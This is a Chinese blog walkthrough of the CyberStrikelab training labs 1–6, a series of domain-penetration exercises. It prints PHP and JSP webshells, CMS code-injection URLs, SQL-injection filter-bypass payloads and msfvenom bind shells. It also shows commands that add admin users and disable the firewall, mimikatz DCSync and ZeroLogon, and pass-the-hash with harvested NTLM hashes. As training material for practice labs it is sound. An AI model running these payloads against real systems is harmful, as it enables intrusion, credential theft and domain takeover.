首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
13,152 阅读
2
全网最全渗透测试靶场推荐【2026最新靶场推荐】,拒绝信息差
7,832 阅读
3
2025最新渗透测试靶场推荐,新手必练的靶场推荐
6,261 阅读
4
src平台推荐,挖SRC必须知道的25个漏洞提交平台
5,815 阅读
5
几个常见的密码字典推荐
5,535 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
靶场实战
SQL注入
提权
代理隧道
域渗透
信息收集
权限提升
hackmyvm
WAF绕过
AI安全
云安全
蓝队防御
权限维持
红队攻击
云服务
白小羽
累计撰写
192
篇文章
累计收到
2
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
3
篇与
的结果
2025-12-14
【域渗透】CyberStrikelab靶场lab1-lab11,2w字超详细
前言码字!码字!码字!CyberStrikelab 是一个专注于网络安全的在线仿真实战平台,提供了多种靶机和场景,涵盖了MITRE ATT&CK威胁框架中的各种知识点和技能。靶场链接:https://cyberstrikelab.com这些靶机还是很适合刚入门Windows内网和域渗透没多久的师傅们,比如多层代理的搭建,域内横向移动,PTH哈希传递攻击,域ESC系列的漏洞,永恒之蓝漏洞,FRP正向 / 反向代理,MSF路由配置,Windows系统提权,非约束委派攻击等等等等本文遵守OSEP的考试规则,没有使用任何商业工具,比如CS,以及一些市面上收费的工具,主要利用MSF进行渗透测试,希望对想要备考OSEP的师傅们会有一点帮助cyberstrikelab-lab11、WEB渗透在网页底部的版权信息区域,发现明确标注 易优 CMS”,从这里可以锁定站点使用的 CMS 系统类型。进一步信息收集,通过百度检索易优 CMS 官方文档,确认该 CMS 系统基于 ThinkPHP5.0 框架开发选用 ThinkPHP 漏洞利用工具,用ALL检测所有漏洞。通过工具检测目标站点存在tp5_index_construct_rce命令执行漏洞。通过 ThinkPHP 漏洞利用工具的 “命令执行模块”,输入基础探测命令whoami(用于查询当前执行用户身份),执行后返回结果为nt authority\system,明确当前已获取系统权限漏洞触发获取的权限是 “临时权限”,一旦漏洞修复、服务重启或网络中断,攻击者将失去对服务器的控制。因此,写入后门的核心目的是建立 “持久化控制通道”,确保后续可随时访问目标服务器,且不易被管理员发现。写入一句话木马,设置木马名称,再点击GetShell,成功的话最后获得一句话木马的地址<?php @eval($_POST['a']);?> 为实现可视化管理,使用蚁剑(一款专门用于管理 Web 后门的工具)进行连接。在蚁剑中输入木马访问地址、通信密码a,点击 “测试连接”,显示 “连接成功”,表明已建立稳定的 Web 管理通道。通过蚁剑可直观查看服务器文件系统、执行命令、上传下载文件,操作便捷且隐蔽性强。解法一:数据库密码泄露/config/database.php,数据库配置文件配置文件中显示数据库用户为root,密码为xxxxxx(已隐藏)。 Windows 默认管理员账号administrator,并复用该数据库密码作为系统登录密码。启用远程桌面连接,需通过蚁剑执行以下命令:# 修改注册表,允许远程登录: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f # 关闭 Windows 防火墙: netsh advfirewall set allprofiles state off 远程连接,输入目标服务器 IP、账号administrator、密码xxxxxxadministrator :数据库密码 登录成功,这里登录成功的权限是administrator管理员组而这里蚁剑执行命令的权限是系统权限,权限等级会更高一点,主要利用这一块解法二:添加用户通过蚁剑执行以下命令:# 创建新用户,并设置密码: net user xiaoyu 123@abc /add # 将新用户添加到管理员组: net localgroup Administrators xiaoyu /add 生成正向连接木马:MSFvenom -p Windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe 本次测试中,目标服务器可被攻击者访问,但攻击者主机因处于内网无公网 IP,因此选择正向连接模式。设置正向连接,是我们主动去连接目标主机的4444端口use exploit/multi/handler # 启用监听模块 set payload Windows/meterpreter/bind_tcp # 匹配生成木马时的payload set RHOST 192.168.10.10 # 目标服务器IP地址 set RPORT 4444 # 匹配木马中设置的监听端口 run # 启动监听 通过蚁剑将生成的shell.exe文件上传至目标服务器的 Web 根目录(或其他可执行目录),并执行该文件。上传上去了,但是执行没有结果,那是因为我们是正向连接,需要主动去连接靶机的4444端口,而不是等着shell回弹回来,如果还没有回来,请禁用目标防火墙netsh advfirewall set allprofiles state off 命令执行后,MSF 控制台立即反馈 “Meterpreter session 1 opened”,表明已成功建立稳定的 Meterpreter 会话。这里就已经成功上线了2、内网渗透ipconfig,查看目标服务器的内网 IP 段(192.168.20.0/24),并发现内网中存在其他主机选用 fscan 工具,通过 Meterpreter 的upload命令将工具上传至目标服务器:upload /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe 执行以下命令启动 fscan 扫描:fscan.exe -h 192.168.20.0/24 # 扫描整个内网网段 扫描结果显示,192.168.20.30 和 192.168.20.20(域控),两台主机均存在 MS17-010 漏洞(永恒之蓝)在内网中,攻击者无法直接访问 192.168.20.30 和 192.168.20.20(仅 192.168.20.10 可与内网其他主机通信)。设置路由的核心目的是将已控制的 192.168.20.10 作为 “跳板机”,让攻击者的流量通过该跳板机进入内网,实现对其他主机的访问。文案路线,你->对方外网机器(10.10)-> 对方内网机器(主机20.30和20.20),而你无法直接通过箭头访问到对方的内网主机,你需要获得对方内网主机10.10的系统权限,然后再代理到这台机器,去打对方的内网主机随后在 Meterpreter 会话中执行以下命令设置路由:# 添加内网路由: run autoroute -s 192.168.20.0/24 # 查看路由表: run autoroute -p 路由添加成功后,尝试利用永恒之蓝漏洞打 192.168.20.30我测试了多个 MS17-010 相关漏洞利用模块,均没有成功,尝试到最后一个执行命令的模块auxiliary/admin/SMB/ms17_010_command的时候,可以正常执行命令,就是获取不到Meterpreter后渗透会话,但可以执行命令use auxiliary/admin/SMB/ms17_010_command auxiliary/admin/SMB/ms17_010_command模块的作用是通过永恒之蓝漏洞执行命令# 加载模块并查看参数: use auxiliary/admin/SMB/ms17_010_command # 加载模块 show options # 查看模块所需配置参数 该模块需配置的关键参数包括RHOSTS(目标主机 IP)、COMMAND(待执行的命令)。验证权限:配置目标主机 IP 并执行whoami命令,验证漏洞利用效果:set rhosts 192.168.20.30 set COMMAND whoami run 执行结果返回nt authority\system,表明已通过永恒之蓝漏洞获取 192.168.20.30 的系统权限,为后续操作提供了高权限基础。此时我们可以借助MSF17-010命令执行权限维持配置:为建立稳定的远程控制通道,通过该模块执行以下命令,配置 192.168.20.30 的系统参数:set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' # 修改注册表,强制启用远程桌面服务(RDP),允许通过远程桌面(3389端口)连接 set COMMAND 'net user xiaoyu 123@abc /add' #创建一个名为 的新用户,密码设置为 123@abc set COMMAND 'net localgroup Administrators xiaoyu /add' #将用户 dfz 添加到本地管理员组(Administrators),获得系统最高权限 set COMMAND 'netsh advfirewall set allprofiles state off' #关闭Windows防火墙 打开10.10计算机的远程桌面连接功能,输入刚刚添加的账号和密码登录成功后,在C盘中查找到最后的flag3、域控渗透前面我们利用fscan.exe扫描出来存在永痕之蓝漏洞,但是利用MSF执行不了命令,该怎么上传文件呢?我们可以使用Windows自带的远程连接,找到本地资源,在本地设备和资源中找到详细信息把驱动器勾选上,还有本地的C盘文件勾选上,共享到远程连接后的服务器中这样目标机器就能访问10这个机器的文件了随后上传nc至20.10机器然后打开远程登录的20靶机,在共享的C盘文件中找到nc,并放到30的机器当中去不过这里我,我们不能使用30的cmd来反弹shell,因为当前登录的用户并不是系统权限,需要用MSF的exp来打这里需要执行3次才会执行一次命令,总体来说延迟了3个命令,或者你要敲三个回车,才能执行你的第一个命令,应该是bug,这里已经获取到了系统权限使用MSF上传mimikatz通过共享目录将 mimikatz 工具上传至域控服务器。通过 MSF 模块执行 mimikatz,初始执行时显示 “低权限”,无法提取域哈希。执行以下命令提升权限至系统权限:privilege::debug # 启用调试权限 sekurlsa::logonpasswords # 提取登录密码哈希 最终执行 DCSync 命令,提取整个域的所有用户哈希:lsadump::dcsync /domAIn:cyberstrikelab.com /all #提取整个域的所有账户哈希 执行结果成功提取到域管理员Administrator的 NTLM 哈希:94bd5248e87cb7f2f9b871d40c903927。获取 NTLM 哈希后,采用 “哈希传递攻击”(Pass-the-Hash,PtH)登录域控服务器。虽然已设置路由,但远程桌面连接等图形化工具无法直接利用 Meterpreter 路由。配置代理的核心目的是让所有攻击者的工具流量(如远程桌面、文件传输)都通过跳板机转发,实现对 192.168.20.30 的直接访问。MSF 开启 SOCKS5 代理:use auxiliary/server/socks5 # 加载SOCKS5代理模块 set SRVHOST 127.0.0.1 # 代理监听地址(本地回环地址) set SRVPORT 1080 # 代理监听端口 run # 启动代理服务 SOCKS5 是一种通用代理协议,支持 TCP/UDP 流量转发,可适配大多数网络工具。设置proxychAIns4,最后面要用┌──(root㉿kali)-[/data/demo] └─# tAIl /etc/proxychAIns4.conf # socks4 192.168.1.49 1080 # http 192.168.39.93 8080 # rted: "basic"-http "user/pass"-socks ) # [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks5 127.0.0.1 1080 使用 impacket 工具集(一款专注于网络协议攻击的工具集)中的psexec模块,执行哈希传递登录:proxychAIns impacket-psexec -hashes :94bd5248e87cb7f2f9b871d40c903927 cyberstrikelab.com/administrator@192.168.20.20 命令执行后,成功获取域控服务器的 CMD 会话,执行ipconfig等命令验证,确认已完全控制 192.168.20.20 域控服务器。至此,整个渗透测试流程完成。cyberstrikelab-lab2web渗透最开始已经获取到了对方的内网ip,192.168.10.10 ,通过fscan扫描内网并探测一定数量的端口,扫描结果先808端口是web服务,通过页面的title显示出这是骑士cms内容管理系统访问这个界面是骑士cms翻到最底下,发现系统版本随便找几篇文章看看有没有pochttps://xz.aliyun.com/news/3368找到一个poc输入poc,自动跳转到登录界面,看来没有未授权登录漏洞http://192.168.10.10:808/index.php?m=Admin&c=Tpl&a=set&tpl_dir= ', 'a',phpinfo(),' 尝试访问呢一个不存在的页面,爆出来了thinkphp的版本使用thinkphp综合利用工具,没有漏洞方案二,爆破后台账号密码爆破出密码为admin123456登录后台再使用poc,能够正常获取php的版本信息http://192.168.10.10:808/index.php?m=Admin&c=Tpl&a=set&tpl_dir= ', 'a',phpinfo(),' 继续执行,创建一个一句话木马http://192.168.10.10:808/index.php?m=Admin&c=Tpl&a=set&tpl_dir= ', 'a',eval($_POST['cmd']),' https://xz.aliyun.com/news/3368,这篇文章已经告诉我们shell的路径在哪了,他会在这个文件里面创建你执行的恶意代码来访问这个界面,正常执行我们刚刚嵌入的恶意代码http://192.168.10.10:808/Application/Home/Conf/config.php 打开蚁剑,输入链接和密码在c盘找到flag使用msf创建一个马msfvenom -p Windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe 使用蚁剑上传打开msf,开启监听# kali msfconsole use multi/handler set payload Windows/meterpreter/bind_tcp set rhost 192.168.10.10 # 蚁剑执行上传成功的木马 shell.exe 内网渗透上线之后,发现是系统权限。进入命令行shell chcp 65001 whoami # 发现是系统权限,不用额外提权 退出会话,将会话保留在后台exit bg 在本机查找fscanfind / -name "fscan*" 2>/dev/null 找到fscan位置后,进入会话1 并上传fscansessions 1 upload /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe 在当前目录下找到fscan利用fscan扫内网,发现另外两台主机192.168.10.20和192.168.10.233,20机器的8080端口是web服务访问界面,是一个tomcattomcat文件上传漏洞 https://blog.csdn.net/allintao/article/details/129503762200表示ok,上传成功<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("passwd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %> 连接测试将之前的生成的马上传上去准备上线msf# msf use multi/handler set payload windows/meterpreter/bind_tcp set rhost 192.168.10.20 # 蚁剑执行上传成功的木马 shell.exe 成功拿下20权限,使用msfgetsystem进行提权,结果显示,成功提权到system权限在根目录找到flag2输入ipconfig,看到另一个网卡地址再上传fscan,这个新的网卡upload /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe 发现20.30 机器存在永恒之蓝漏洞再来设置路由,此时你会有两个会话和路由run autoroute -s 192.168.20.0/24 run autoroute -p 域渗透上传mimikatz.exe 抓取系统hash使用find查找find / -name "mimika*.exe" 2>/dev/null 进入shell执行命令.\mimikatz.exe privilege::debug sekurlsa::logonpasswords 抓取到administrator用户的NTML hash0a571981f9373e059c6c6313c2469359 准备好frp配置文件,搭建正向代理,客户端配置服务端配置PTH登录,并且上传frpevil-winrm -i 192.168.10.20 -u Administrator -H "0a571981f9373e059c6c6313c2469359" upload windows_x64_admin.exe 启动# kali ./frpc -c frpc.ini # 靶机 ./frps.exe -c frps.ini 修改代理配置文件vi /etc/proxychAIns4.conf 使用proxychAIns代理启动msfproxychAIns msfconsole 使用永恒之蓝命令执行模块,能够正常执行命令use admin/SMB/ms17_010_command set RHOSTS 192.168.20.30 set command whoami run 找到最后一台机器的flagset command type C:\\flag.txt run cyberstrikelab-lab3web信息收集端口扫描nmap -sT -Pn -p- 192.168.10.10 -T4 3590端口开启是一个web应用扫描出来了一个访问看看是一个登录框查看登录界面的网页源码登录进来看到版本信息使用万能的搜索引擎看到这里有一个本地文件泄露漏洞找到第一个flag另外还发现能在web目录写入文件,我们写入一句话<?php @eval($_POST['cmd']);?> 蚁剑连接msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe 内网渗透上线msf直接就是系统权限查找fscanfind / -name "fscan.exe" 2>/dev/null 利用meterpreter模块上传upload /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe 看到有双网卡fscan扫描另一张网卡,发现192.168.20.20和192.168.20.30靶机,其中30是域控主机使用fscan扫描第一台机器的端口添加路由run post/multi/manage/autoroute 配置代理use auxiliary/server/socks_proxy set VERSION 5 set SRVPORT 1080 run -j 修改代理vi /etc/proxychAIns4.conf 访问到thinkphp站从flag中可以看到木马在主页使用awBruter密码爆破工具,爆破出来密码是admin123蚁剑设置好代理使用密码连接找到第二个flag拿下系统权限域渗透之后就可以上传msf马,如果蚁剑不行的话(这个环境可能有一点问题,第二台机器老是断网)那就使用windows的远程连接上传到10.10,然后再利用windows自带的远程连接传20.20机器(前提是创建了一个远程连接用户),往期很多文章都写过,之后利用msf抓取hash或者使用猕猴桃抓取哈希,使用hash传递攻击proxychAIns impacket-psexec -hashes :f349636281150c001081894de72b4e2b cyberstrikelab.com/administrator@192.168.20.30 cyberstrikelab-lab4Web渗透5820端口是web服务sql注入https://www.cnblogs.com/shamaxian/p/19319207sqlmap -u "http://192.168.10.10:5820/ad_js.php?ad_id=1" -p ad_id --dump admin / admin123456登录后台 /admingetshell,直接修改源码POC参考链接:https://blog.csdn.net/cainsoftware/article/details/119116430http://192.168.10.10:5820/admin/tpl_manage.php?act=edit&tpl_name=../../ann.php 修改内容如下<?php @eval($_POST['a']);?> msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/bind_tcp; set RHOST 192.168.10.10; set LPORT 4444; exploit -j -z" 内网渗透getuid发现已经是系统权限msf exploit(multi/handler) > run [*] Started bind TCP handler against 192.168.10.10:4444 [*] Sending stage (177734 bytes) to 192.168.10.10 [*] Meterpreter session 4 opened (10.10.10.173:43577 -> 192.168.10.10:4444) at 2025-12-09 22:07:22 -0500 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM 上传fscan,扫内网,发现7001端口weblogicmeterpreter > upload /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe [*] Uploading : /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe -> fscan.exe [*] Uploaded 5.18 MiB of 5.18 MiB (100.0%): /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe -> fscan.exe [*] Completed : /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe -> fscan.exe meterpreter > shell Process 2316 created. Channel 2 created. Microsoft Windows [�汾 10.0.18363.592] (c) 2019 Microsoft Corporation����������Ȩ���� C:\phpstudy_pro\WWW>chcp 65001 chcp 65001 Active code page: 65001 C:\phpstudy_pro\WWW>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫��ʵ�� 0: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::1dfe:1621:b57c:7f61%17 IPv4 Address. . . . . . . . . . . : 192.168.10.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.10.233 Ethernet adapter ��̫��ʵ�� 0 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::402e:23ec:6cb6:e625%16 IPv4 Address. . . . . . . . . . . : 192.168.20.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.20.1 C:\phpstudy_pro\WWW>fscan.exe -h 192.168.20.0/24 fscan.exe -h 192.168.20.0/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 192.168.20.10 is alive (icmp) Target 192.168.20.20 is alive (icmp) Target 192.168.20.30 is alive [*] Icmp alive hosts len is: 3 192.168.20.30:445 open 192.168.20.20:445 open 192.168.20.10:3306 open 192.168.20.30:88 open 192.168.20.10:7680 open 192.168.20.10:445 open 192.168.20.30:139 open 192.168.20.10:135 open 192.168.20.10:139 open 192.168.20.20:139 open 192.168.20.30:135 open 192.168.20.20:135 open 192.168.20.20:7001 open [*] alive ports len is: 13 start vulscan [*] 192.168.20.30 [+]DC __MSBROWSE__\WIN-7NRTJO59O7N [+] NetInfo: [*]192.168.20.20 [->]cyberweb [->]192.168.20.20 [*] 192.168.20.20 CYBERSTRIKELAB\CYBERWEB Windows Server 2012 R2 Standard 9600 [*] WebTitle:http://192.168.20.20:7001 code:404 len:1164 title:Error 404--Not Found [+] InfoScan:http://192.168.20.20:7001 [weblogic] 已完成 13/13 [*] 扫描结束,耗时: 24.8144105s 配置路由meterpreter > run post/multi/manage/autoroute [*] Running module against DESKTOP-JFB57A8 (192.168.10.10) [*] Searching for subnets to autoroute. [+] Route added to subnet 192.168.10.0/255.255.255.0 from host's routing table. [+] Route added to subnet 192.168.20.0/255.255.255.0 from host's routing table. meterpreter > run autoroute -p [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 192.168.10.0 255.255.255.0 Session 4 192.168.20.0 255.255.255.0 Session 4 设置代理use auxiliary/server/socks_proxy set VERSION 5 set SRVPORT 1080 run -j weblogic(用msf打了几次没成功)域渗透ZeroLogon (CVE-2020-1472) 是近几年Windows上曝出的高危漏洞,CVSS V3.0评分10.0,攻击者只需要定位域控主机名及IP,并且可以访问域控,就可以在无需任何凭据的情况下 (可在域外) 拿到域管理员的权限。枚举域主机信息,域名为cyberstrikelab.com, Windows 主机名为WIN-7NRTJO59O7N,通过如下内容可以得知主机是域内成员Derived membership: domain member┌──(root㉿kali)-[~] └─# proxychains enum4linux-ng -A 192.168.20.30 -C ============================================================ | Domain Information via SMB session for 192.168.20.30 | ============================================================ [*] Enumerating via unauthenticated SMB session on 445/tcp [proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.30:445 ... OK [+] Found domain information via SMB NetBIOS computer name: WIN-7NRTJO59O7N NetBIOS domain name: CYBERSTRIKELAB DNS domain: cyberstrikelab.com FQDN: WIN-7NRTJO59O7N.cyberstrikelab.com Derived membership: domain member Derived domain: CYBERSTRIKELAB 上传mimikatz.exeupload /data/windows_atk/mimikatz/x64/x64/mimikatz.exe 使用新版mimikatz可用,旧版没有这个模块,利用过程发现存在zerologonmimikatz.exe "lsadump::zerologon /target:192.168.20.30 /account:WIN-7NRTJO59O7N$" exit 重置域内hashmimikatz.exe "lsadump::zerologon /target:192.168.20.30 /ntml /null /account:WIN-7NRTJO59O7N$ /exploit" exit 提取域内hash,仅提取 NTDS Section(域级数据),完全过滤 SAM、LSA Secrets 等本地冗余信息,直接输出域内所有用户 / 域机器账户的哈希。proxychains impacket-secretsdump CYBERSTRIKELAB/WIN-7NRTJO59O7N\$@192.168.20.30 -no-pass -just-dc PTH 域控,获取第三个flagproxychains impacket-psexec -hashes :00f995cbe63fd30411f44d434b8dac98 cyberstrikelab.com/Administrator@192.168.20.30 PTH另外一台机器,获取第二个flagproxychains impacket-psexec -hashes :00f995cbe63fd30411f44d434b8dac98 cyberstrikelab.com/Administrator@192.168.20.30 cyberstrikelab-lab5web渗透BEESCMS1、后台发现验证码复用漏洞,后台账号密码可以爆破2、后台sql注入漏洞admin' order by 5--+ # and 被过滤 admin' and updatexml(1,concat(0x7e,select database(),0x7e),1)--+ # 去掉前面的空格 admin'and updatexml(1,concat(0x7e,select database(),0x7e),1)--+ # 报错信息如下,数据库名beescms 操作数据库失败XPATH syntax error: '~,beescms~'<br>sql:select id,admin_name,admin_password,admin_purview,is_disable from bees_admin where admin_name='admin'and updatexml(1,concat(0x7e, database(),0x7e),1)-- ' limit 0,1 # 其他双写绕过 union => uni union on select => selselectect from => fr from om where => wh where ere # 列1 admin_name admin'a and nd updatexml(1,concat(0x7e,(seselectlect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 1,1),0x7e),1)# # 列2 admin_password admin'a and nd updatexml(1,concat(0x7e,(seselectlect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 2,1),0x7e),1)# # 字段1 admin admin'a and nd updatexml(1,concat(0x7e,(seselectlect admin_name fr from om beescms.bees_admin limit 0,1),0x7e),1)# # 字段2 7e60bc642fefc11b43792e8745df6c1 // cmd5.com 解密 cyber admin'a and nd updatexml(1,concat(0x7e,(seselectlect admin_password fr from om beescms.bees_admin limit 0,1),0x7e),1)# 密码cyber,登录,版本就是4.0准备一个图片马,shell.jpg,抓包修改shell.php<?php @eval($_POST['shell']); ?> 在上传图片管理界面,查看网页源码,找到新上传图片的html标签能看到php文件路径,然后蚁剑连接http://192.168.10.10:6582/upload/img/202512101423498303.php 内网渗透msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/bind_tcp; set RHOST 192.168.10.10; set LPORT 4444; exploit -j -z" upload /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe upload /data/windows_atk/mimikatz/x64/x64/mimikatz.exe fscan扫内网,在20.20的8080端口,有一个Jboss内容管理系统C:\phpstudy_pro\WWW\upload\img>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫��ʵ�� 0: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::d4eb:d150:7852:d93f%8 IPv4 Address. . . . . . . . . . . : 192.168.10.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.10.233 Ethernet adapter ��̫��ʵ�� 0 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::f90f:239c:ae8a:42db%15 IPv4 Address. . . . . . . . . . . : 192.168.20.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.20.1 C:\phpstudy_pro\WWW\upload\img>fscan.exe -h 192.168.20.0/24 fscan.exe -h 192.168.20.0/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 192.168.20.10 is alive (icmp) Target 192.168.20.20 is alive (icmp) Target 192.168.20.30 is alive [*] Icmp alive hosts len is: 3 192.168.20.10:445 open 192.168.20.20:139 open 192.168.20.20:135 open 192.168.20.30:88 open 192.168.20.20:8080 open 192.168.20.10:3306 open 192.168.20.30:445 open 192.168.20.20:445 open 192.168.20.30:139 open 192.168.20.10:139 open 192.168.20.30:135 open 192.168.20.10:135 open 192.168.20.20:8009 open 192.168.20.10:7680 open [*] alive ports len is: 14 start vulscan [+] NetInfo: [*]192.168.20.20 [->]cyberweb [->]192.168.20.20 [+] NetInfo: [*]192.168.20.30 [->]WIN-7NRTJO59O7N [->]192.168.20.30 [*] 192.168.20.30 [+]DC __MSBROWSE__\WIN-7NRTJO59O7N [*] 192.168.20.20 CYBERSTRIKELAB\CYBERWEB Windows Server 2012 R2 Standard 9600 [*] WebTitle:http://192.168.20.20:8080 code:200 len:1554 title:Welcome to JBoss AS [+] InfoScan:http://192.168.20.20:8080 [Jboss] 已完成 14/14 [*] 扫描结束,耗时: 18.7052044s 设置路由,配置代理meterpreter > run post/multi/manage/autoroute [*] Running module against DESKTOP-JFB57A8 (192.168.10.10) [*] Searching for subnets to autoroute. [+] Route added to subnet 192.168.10.0/255.255.255.0 from host's routing table. [+] Route added to subnet 192.168.20.0/255.255.255.0 from host's routing table. meterpreter > bg [*] Backgrounding session 1... msf exploit(multi/handler) > use auxiliary/server/socks_proxy msf auxiliary(server/socks_proxy) > set VERSION 5 VERSION => 5 msf auxiliary(server/socks_proxy) > set SRVPORT 1080 SRVPORT => 1080 msf auxiliary(server/socks_proxy) > run -j [*] Auxiliary module running as background job 1. [*] Starting the SOCKS proxy server 设置proxychains4配置文件,代理到msf┌──(root㉿kali)-[/data/demo] └─# tail /etc/proxychains4.conf # socks4 192.168.1.49 1080 # http 192.168.39.93 8080 # rted: "basic"-http "user/pass"-socks ) # [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks5 127.0.0.1 1080 获取到对方内网的 Jboss cms这个可以利用jboss综合利用工具,获取到第二个flag第三台,永恒之蓝命令执行,反弹shell和其他的都不行use auxiliary/admin/SMB/ms17_010_command set RHOSTS 192.168.20.30 set COMMAND type C:\\flag.txt run 最后得到flaggo-flag{Cfg8hlBj4dXppo5j}cyberstrikelab-lab6第一台目录扫描到administrator后台地址apt install joomscan joomscan -u http://192.168.10.10/ # 扫出结果Joomla版本3.4.6 [+] Detecting Joomla Version [++] Joomla 3.4.6 exp获取searchsploit Joomla 3.4.6 searchsploit -m 47524 使用┌──(root㉿kali)-[/data/demo] └─# python 47465.py -t http://192.168.10.10/ -e [*] Getting Session Cookie .. [*] Getting CSRF Token .. [*] Sending request .. [+] Vulnerable [*] Getting Session Cookie .. [*] Getting CSRF Token .. [*] Sending request .. [+] Backdoor implanted, eval your code at http://192.168.10.10//configuration.php in a POST with khacpsczesvgcaeqwadfazwmljdlcqqrkqezpuyedrwcsfjqqm [*] Now it's time to reverse, trying with a system + perl 得到密码khacpsczesvgcaeqwadfazwmljdlcqqrkqezpuyedrwcsfjqqm蚁剑连接生成马,蚁剑上传msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe kalimsfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/bind_tcp; set RHOST 192.168.10.10; set LPORT 4444; exploit -j -z" 获取正向shell,蚁剑执行exeshell.exe 得到第一台机器shell这台机器没有第二章网卡C:\WWW>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫��ʵ�� 0: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::71b1:e5e:d78d:3036%7 IPv4 Address. . . . . . . . . . . : 192.168.10.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.10.233 Tunnel adapter isatap.{99805FC6-03F4-4415-8F77-D4C935988DCA}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : C:\WWW>fscan.exe -h 192.168.10.10/24 fscan.exe -h 192.168.10.10/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 192.168.10.10 is alive (icmp) Target 192.168.10.20 is alive (icmp) Target 192.168.10.233 is alive [*] Icmp alive hosts len is: 3 192.168.10.233:8080 open 192.168.10.20:7001 open 192.168.10.10:3306 open 192.168.10.20:445 open 192.168.10.10:445 open 192.168.10.20:139 open 192.168.10.10:139 open 192.168.10.20:135 open 192.168.10.10:135 open 192.168.10.10:80 open 192.168.10.233:22 open [*] alive ports len is: 11 start vulscan [+] NetInfo: [*]192.168.10.10 [->]WIN-P5ECGG92B08 [->]192.168.10.10 [*] 192.168.10.20 CYBERSTRIKELAB\CYBERWEB Windows Server 2012 R2 Standard 9600 [*] WebTitle:https://192.168.10.233:8080 code:404 len:19 title:None [*] WebTitle:http://192.168.10.10 code:200 len:6060 title:Home [*] WebTitle:http://192.168.10.20:7001 code:404 len:1164 title:Error 404--Not Found [+] InfoScan:http://192.168.10.20:7001 [weblogic] 